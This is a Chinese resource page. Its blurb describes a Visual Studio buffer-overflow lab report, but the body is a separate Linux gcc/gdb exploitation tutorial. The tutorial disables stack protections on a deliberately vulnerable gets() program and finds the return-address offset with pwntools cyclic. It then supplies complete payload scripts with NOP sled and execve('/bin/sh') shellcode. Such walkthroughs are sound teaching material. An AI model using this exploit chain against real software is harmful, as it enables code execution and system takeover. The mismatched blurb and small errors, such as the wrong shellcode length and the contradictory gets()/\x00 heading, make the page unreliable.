简介:一份来自电子科技大学信息与软件工程学院的《网络安全技术》课程实验报告,以缓冲区溢出实验为主题,面向高校网络空间安全、软件工程专业学生及C/C++底层编程学习者。报告完整记录了栈溢出跟踪、漏洞利用与溢出编程三大实验内容,基于Visual Studio调试环境,逐步展示了push/pop指令对ESP、EIP的影响,函数调用时栈帧的建立与恢复,以及longbuf数组地址与EBP相差6C字节等关键现象,直观揭示了缓冲区溢出发生时返回地址被覆盖的机理。资源包仅含1个docx文档,大小353KB,内容涵盖实验目的、原理、实验步骤、结论及心得体会,并附有调试窗口截图与寄存器数据记录,便于读者对照复现。该资源已有237人次学习浏览,既能作为网络安全实验报告的撰写范本,也可帮助初学者理解栈与缓冲区溢出漏洞的底层原理。
1. 缓冲区溢出实验三到底在做什么:一次改写返回地址的完整攻击演练
这个实验标题看起来只是课程归档里普普通通的一行,但它实际覆盖了系统安全最核心的一条链路:缓冲区溢出从原理到利用的完整过程。实验目标不是让程序崩溃——崩溃谁都会,真正的门槛是输入一串精心构造的数据,精确覆盖函数返回地址,让程序跳进我们自己准备的 shellcode,最终拿到一个 shell。我习惯把它拆成“看懂栈帧 → 触发崩溃 → 定位偏移 → 构造 payload → 绕过防护”五个环节,每一步都能在本地复现。适合正在学操作系统或网络安全的读者,也适合刚想接触 pwn 方向、却被各种文章跳步劝退的入门者。
2. 原理与环境准备:先看懂栈帧,再谈攻击
2.1 栈帧布局:返回地址为什么紧挨着局部变量
要理解这次实验的攻击原理,得先看一次普通函数调用在 x86 栈上发生了什么。32 位下,调用函数时 CPU 会把当前指令的下一条地址压栈,这个地址就是返回地址(ret address);进入被调函数后,编译器再把上一帧的 ebp 压栈保存,然后给局部变量腾空间。于是栈上的布局从高地址到低地址依次是:调用方局部数据、返回地址、旧 ebp、当前函数局部变量。问题就出在这个顺序上:局部变量在低地址,返回地址在它上方,一旦数组写入越界,数据增长方向正好朝返回地址推进。
用 gets 这类不检查长度的函数读取输入时,写入方向从低地址向高地址走,只要输入足够长,迟早会覆盖旧 ebp、再往上就是返回地址。过去几十年大量漏洞都是这个成因,这也是为什么现代编译器默认在局部变量和返回地址之间塞入 canary——一个随机数,函数返回前检查它有没有被改过。本实验的第一步,就是在一个关闭 canary 的环境里,让这种天然的越界变得可控。
这里有一个初学者最容易忽略的细节:局部变量到返回地址之间的字节数,不能直接按数组声明大小算。比如声明 char buf[64],实际偏移要考虑编译器对齐、可能的填充字节、以及旧 ebp 占用的 4 字节。常见情况下偏移是 64 + 4 = 68,但碰上编译器做了 16 字节对齐或插入了其他临时变量,偏移会变成 76、80 甚至更大。这个数字必须靠调试实测,不能靠声明去猜。
2.2 环境准备:关闭 ASLR、关闭栈保护、允许执行栈
缓冲区溢出实验要稳定复现,环境比漏洞代码本身更重要。我一般用一个干净的 32 位 Linux 环境,原因有三个:一是 32 位下地址空间小,栈地址好猜,适合教学;二是经典 shellcode 大多按 32 位 i386 指令编写,网上能查到大量可直接对照的样本;三是 gdb 在 32 位进程上的行为更直观,寄存器和栈布局一眼能看明白。
接下来要处理的现代防护有三个,缺一个实验都做不成。栈保护(stack protector)会在局部变量和返回地址之间塞 canary,实验必须关掉;地址随机化(ASLR)会让每次运行的栈地址都变,必须关闭或固定;栈不可执行(NX)策略下,即使返回地址被控制,跳进栈上的 shellcode 也会直接段错误,所以编译时要显式允许栈执行。三者的关闭方式组合如下:
gcc -m32 -fno-stack-protector -z execstack -no-pie -g -o vul vul.c setarch "$(uname -m)" -R ./vul逐项说明:-fno-stack-protector 关闭 canary;-z execstack 把栈标记为可执行;-no-pie 固定程序加载地址,避免 gdb 里取到的地址下次运行就失效;-g 保留调试信息。运行时用 setarch -R 关闭当前进程的地址随机化,它只影响这个命令启动的进程,不影响系统全局,实验完自动恢复。如果发行版没有 setarch,也可以用 sysctl 临时关闭,但记得实验后改回来。
环境清单其实只有四样:一个带 gcc、gdb、python3 的 Linux 发行版,32 位编译支持(通常是一个 multilib 包),pwntools 用于生成 pattern 和 payload,以及一个文本编辑器。没有 pwntools 也能做,用 python3 手写循环生成 pattern 和地址打包,但会多花不少时间,后文脚本都按 pwntools 写。
3. 最小实验复现:从代码到第一次崩溃
3.1 漏洞程序编写:gets() 是天然的溢出入口
实验用的漏洞程序刻意保持最小,目的是把注意力集中在溢出本身。最常见的选择是写一个包含 gets 函数的程序——gets 从标准输入读入一行数据写入目标缓冲区,但完全不检查输入长度,只要输入超过缓冲区大小就会一路写下去。新版 glibc 链接时会给出 dangerous 警告,但程序照常编译运行,不影响实验。
#include <stdio.h> void vulnerable() { char buf[64]; gets(buf); // 危险函数:不限制写入长度 printf("input: %s\n", buf); } int main() { vulnerable(); return 0; }代码逻辑只有两步:vulnerable 函数声明 64 字节局部数组,gets 把用户输入写进 buf,然后 main 调用 vulnerable 并返回。实验目标不是修复这段代码,而是利用它的越界写,在 vulnerable 返回时接管程序控制流。如果你手头实验要求的入口函数是 strcpy,原理完全一样,只是输入来源从标准输入变成命令行参数或文件,后面所有调试思路不需要变。
写入方向值得再强调一次:gets 从 buf 起始地址开始向后写,buf 低地址端是数组开头,高地址端依次是编译器填充、旧 ebp、返回地址。输入长度超过 64 字节后,先碰到旧 ebp,再碰到返回地址。64 字节的缓冲区最少需要 64 + 4 + 4 = 72 字节才能碰到返回地址的第一个字节,具体是 72、76 还是更大,由编译对齐决定,下一步实测。
提示:如果你用的发行版自带较新 gcc,编译时可能出现
warning: the 'gets' function is dangerous提示,这是预期现象。少数发行版会把 warning 升级成链接错误,遇到就加-D_FORTIFY_SOURCE=0,或者干脆换用 strcpy 做输入入口。
3.2 编译选项逐个解释与第一次崩溃
下面是实验最标准的编译命令,我逐项说明每个选项为什么必须存在,这也是一份可以直接抄的编译选项对照表:
| 编译选项 | 作用 | 不设的后果 |
|---|---|---|
| -m32 | 生成 32 位可执行文件,使用 x86 调用约定与 4 字节地址 | 下面所有 32 位 shellcode 和地址计算全部失效 |
| -fno-stack-protector | 禁止编译器插入 canary | 函数返回前检测到栈被改写,直接 abort |
| -z execstack | 把栈标记为可执行 | 返回地址跳进栈上 shellcode 时触发段错误 |
| -no-pie | 关闭位置无关可执行,固定加载地址 | 每次运行栈地址抖动,调试取的地址不可复用 |
| -g | 输出调试信息 | gdb 里看不到函数名和局部变量 |
gcc -m32 -fno-stack-protector -z execstack -no-pie -g -o vul vul.c编译成功后先正常跑一次:输入一段普通文本,程序会原样打印并退出,说明逻辑正常。接着输入一段明显超长的数据,比如 100 个大写 A,程序大概率段错误。这一步的意义是确认漏洞入口存在,也让你第一次直观感受到越界写造成的后果。
printf 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n' | ./vul看到 Segmentation fault 就是预期结果。原因很直接:gets 把数据写过了返回地址,vulnerable 返回时 CPU 试图跳到 0x41414141(大写 A 的 ASCII 码),这个地址不属于任何可执行映射,直接触发段错误。如果程序没有崩溃,问题多半出在编译选项没生效或输入长度不够,回到上面的表格逐项核对。
3.3 用 core dump 确认崩溃现场
段错误只是结果,我们要的是崩溃时的现场。第一步先确认 core dump 能生成,然后让程序崩溃,再用 gdb 加载 core 文件看寄存器状态。很多发行版默认 ulimit -c 是 0,需要先放开。
ulimit -c unlimited printf 'AAAA...A\n' | ./vul崩溃后当前目录会出现 core 或 core.xxx 文件。用 gdb 加载它,重点看 eip——32 位下的指令指针寄存器:
gdb ./vul core (gdb) info registers eip (gdb) x/8wx $esp正常情况 eip 应该是一串 0x41414141,即大写 A 的 ASCII 码,这说明返回地址已经被我们输入的数据覆盖。再用x/8wx $esp打印栈顶内容,能看到连续 0x41 填充的栈区域。到这里,实验的“崩溃”环节就完成了,下一步是把它从“随机崩溃”变成“精确控制”。
现场确认后,我一般还会顺手跑一次 info frame,看当前栈帧保存的返回地址位置,这个信息对后面算偏移量有参考价值。如果 eip 不是 0x41414141 而是一串乱码,通常是输入长度过了头,或者地址对齐和预期不一致,避坑章节会详细展开。
4. 构造 payload:精确覆盖返回地址,执行 shellcode
4.1 用 cyclic 精确计算溢出偏移量
实验做到这一步,最忌讳的就是用“猜”的偏移量。手动数 100 个 A 再逐字节对比,既慢又容易错。常见做法是用 pwntools 的 cyclic 生成一段有规律的字符串,每 4 字节一组,组内字符按递增顺序排列;程序崩溃后,把 eip 里的值还原,就能知道它落在第几组,乘以组数就是准确偏移。
from pwn import * context.arch = 'i386' payload = cyclic(200) # 生成 200 字节 pattern with open('pattern.txt', 'wb') as f: f.write(payload)./vul < pattern.txt gdb ./vul core (gdb) info registers eip假设 eip 显示为 0x6161616c,这是 pattern 里某一组字符的 ASCII 编码。在 pwntools 里用 cyclic_find 直接还原:
from pwn import * offset = cyclic_find(0x6161616c) # 传入 eip 的值,返回偏移量 print(offset)输出结果就是“从 buf 起始到返回地址覆盖点”的精确偏移量,这是整个 payload 的地基,后面所有 padding 长度都依赖它。我见过不少人在这一步用固定值 72,结果换个编译器、换个优化级别就全线翻车。偏移量必须每台机器实测一次,不要复用。
4.2 从调试信息里计算返回地址
偏移量拿到后,还差一个关键数字:shellcode 在内存里的地址。常见做法是让 shellcode 放在返回地址之后,然后用一个固定地址跳过去。问题是栈地址受环境影响很大,同一台机器上 gdb 里跑和命令行里跑都可能差几百字节。
我分两步取地址。第一步,在 gdb 里跑一次含长输入的程序,在 vulnerable 返回前打断点,查看 buf 的地址;第二步,把 buf 地址加上一个安全余量,让返回地址跳到缓冲区中后部,前面铺 NOP sled。这样即使估算偏了一点,也大概率落在 NOP 上滑进 shellcode。
gdb ./vul (gdb) break *vulnerable+60 # 断点打在函数尾部、ret 指令之前 (gdb) run < pattern.txt (gdb) p &buf把打印出来的 buf 地址记为 base_addr。随后在 payload 里,返回地址写成 base_addr + 某个偏移(比如 +32),这个偏移对应 NOP sled 的长度区间。为什么要偏后而不是偏前?因为 gets 写入完成后,缓冲区头部区域可能被 printf 或后续栈操作触碰,偏后一些能避开不稳定的头部数据。
需要明白的是,这里的地址依赖具体进程的栈布局,换一台机器、换一个 shell 环境都可能变化。所以我的习惯是:取地址和执行 payload 在同一个环境模式里完成,具体来说就是都通过setarch -R启动,避免 gdb 内外差异。这一点避坑章节会专门说。
4.3 完整 payload 脚本与验证
最后是组装整套 payload。结构是:padding(长度等于偏移量)+ 返回地址 + NOP sled + shellcode。shellcode 用最常见的 execve("/bin/sh") 套路,24 字节,不含回车换行等特殊字节,可以直接被 gets 读入。
from pwn import * context.arch = 'i386' offset = 76 # 上一步 cyclic_find 的结果,按实测修改 shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' ret_addr = 0xffffd0b0 # 调试时看到的 buf 地址 + 偏移,按实测修改 payload = b'A' * offset # 1. 填充到返回地址 payload += p32(ret_addr) # 2. 覆盖返回地址,指向 NOP sled payload += b'\x90' * 32 # 3. NOP sled,滑向 shellcode payload += shellcode # 4. 真正要执行的代码 with open('payload.bin', 'wb') as f: f.write(payload)参数说明:p32 是 pwntools 里把 32 位整数打包成小端字节序的函数,x86 栈上地址就是小端存储,不能直接写字符串。NOP sled 长度不是固定的,环境越不稳定就铺得越长;关闭 ASLR 时 32 字节够用,没关的话建议至少 128 字节。shellcode 里如果出现 \x0a(换行)会被 gets 截断,上面这段经典 shellcode 刻意避开了它。
setarch "$(uname -m)" -R ./vul < payload.bin一切正常的话,程序不会打印输入内容,而是直接进入一个交互式 shell,输入 id 或 whoami 能看到当前用户信息。这一步成功,说明你已经完整走完了“定位溢出点 → 覆盖返回地址 → 执行任意代码”的链路,缓冲区溢出实验的核心目标达成。如果退出了 shell 而不是进入交互,常见原因是 stdin 重定向后 shell 读不到输入,避坑章节有对应处理。
5. 避坑:缓冲区溢出实验的 5 个常见问题
5.1 段错误但 eip 是乱码,而不是预期的 0x41414141
现象:用大写 A 填充触发崩溃后,gdb 里看 eip 不是 0x41414141,而是一串看起来像地址但不规整的值。
原因:输入长度超出了返回地址覆盖点,eip 被后面继续越界的数据覆盖;或者输入里混进了不可见字符,导致 gdb 解析 core 时把 eip 读错。另一个常见原因是 offset 计算偏差,数据没有正对返回地址的 4 个字节,而是错位覆盖了其中一部分。
解决:不要纠结用 A 验证,直接用 cyclic 生成 pattern,崩溃后把 eip 喂给 cyclic_find 算偏移。这是确定性操作,不要靠肉眼对比。如果 cyclic_find 报错说找不到,把 pattern 长度从 200 加到 512 再试一次。
5.2 gets() 吃掉了 payload 里的 \x00,shellcode 根本没执行
现象:payload 生成时看着完整,运行时程序要么直接退出,要么打印输入后正常返回,看不到 shell。
原因:gets 以换行符为结束标志,它内部对 \x00 是照读的;问题通常出在输入通道上。如果换成 strcpy,\x00 会被当成字符串结束符,后半段 payload 全部丢失。部分工具或重定向方式也会在 \x00 处截断数据。
解决:先确认输入通道。gets 场景下 \x00 可以读入,但如果换成了 strcpy 或某些文件读取方式,就要选一个不含 \x00 字节的返回地址。32 位环境一般能挑到高位不含 0x00 的栈地址,多试几个偏移。如果返回地址必含 \x00,改用 fread 或 scanf 这类能读二进制的函数做输入入口,绕过截断问题。
5.3 gdb 里 payload 成功,命令行里跑却失败
现象:在 gdb 里用 run < payload.bin 能进入 shell,但回到终端直接跑同样命令就段错误。
原因:gdb 启动进程时会多设置一些环境变量,栈上被压入更多数据,导致同样代码在 gdb 里和命令行里的栈地址不同。返回地址是按 gdb 里的地址写的,出了 gdb 自然跳偏。
解决:三条路任选。一是全程关闭 ASLR,用setarch -R ./vul < payload.bin运行,让栈地址稳定;二是在 payload 里加大 NOP sled,让地址偏差被 NOP 吸收;三是不要在 gdb 里取地址,而是在setarch -R环境下用 core dump 取真实地址。我自己习惯先 setarch -R,再在命令行环境取地址,这样和最终执行环境完全一致。
5.4 shellcode 执行了,但没有进入交互式 shell
现象:程序没有段错误,但也没有进入 shell,直接退出了;或者 shell 一闪而过。
原因:输入是通过重定向或管道喂进去的,shell 启动后 stdin 已经没有数据,读不到命令就立即退出。这不是 shellcode 的问题,而是输入通道的问题。
解决:换一个交互式执行方式。用(cat payload.bin; cat) | ./vul保持 stdin 打开;或者写一个 pwntools 脚本,用 process 启动漏洞程序、发送 payload、再调用 interactive() 接管会话。进入 shell 后你会发现当前进程的 uid 和 vul 程序相同,这正是实验预期结果。
5.5 编译直接失败:缺 32 位库,或默认防护关不掉
现象:gcc 报错找不到头文件,或者链接阶段报错 cannot find -lgcc;又或者加了 -fno 选项,程序还是带 canary。
原因:部分 64 位发行版默认没有 32 位编译链,需要额外的 multilib 支持包。另外,少数发行版的默认编译配置会覆盖部分选项,导致保护没关干净。
解决:先安装 32 位支持,常见包名是 gcc-multilib 或 libc6-dev-i386。再验证编译产物确实没开保护:用 readelf -l 看 GNU_STACK 段是否标记为 RWX,用 gdb 查有没有 __stack_chk_fail 引用。如果编译选项被发行版默认参数覆盖,显式在命令里重写-Wl,-z,execstack -no-pie,并检查发行版默认的 CFLAGS 和 LDFLAGS。
6. 进阶:把实验做成可复现的一键验证
6.1 一键复现脚本
实验做完只是开始,我建议把它封装成一个脚本,免得两周后想复习时连编译选项和 payload 地址都忘了。脚本做的事很直接:关闭地址随机化、编译漏洞程序、生成 payload、执行并验证结果。
#!/bin/bash set -e gcc -m32 -fno-stack-protector -z execstack -no-pie -g -o vul vul.c python3 gen_payload.py setarch "$(uname -m)" -R ./vul < payload.bingen_payload.py 就是第 4 章里的 payload 生成脚本,编译、生成、执行三步串起来。以后换机器只需要改掉脚本里 offset 和 ret_addr 两个常量,重跑一次就能验证新环境的可行性。
6.2 用输出断言替代肉眼看结果
实战验证我一般不用肉眼判断“有没有进入 shell”,而是让 shellcode 生效后先执行一条能留下痕迹的命令,再用断言确认输出里包含它。pwntools 的 process 会为子进程分配和命令行一致的运行环境,正好避开 gdb 内外地址不一致的坑。
from pwn import * context.arch = 'i386' offset = 76 shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' ret_addr = 0xffffd0b0 p = process('./vul') p.sendline(b'A' * offset + p32(ret_addr) + b'\x90' * 32 + shellcode) p.sendline(b'echo PWNED') output = p.recvall(timeout=2) assert b'PWNED' in output # shellcode 生效后,echo 会被 shell 执行并回显 p.close()这个断言比肉眼可靠得多,以后改环境、改偏移量,跑一次就知道通没通。我在做这个实验时最大的教训就是“先看环境再看代码”:ASLR 没关、栈保护没关,后面所有调试都是在和看不见的对手较劲。现在每换一台机器,第一件事永远是 setarch -R 加 checksec,再碰漏洞代码。希望这个习惯和上面这套流程能帮到你,让缓冲区溢出实验不再玄学——把每一步都变成可验证、可复现的操作,剩下的只是时间问题。
本文还有配套的精品资源,点击获取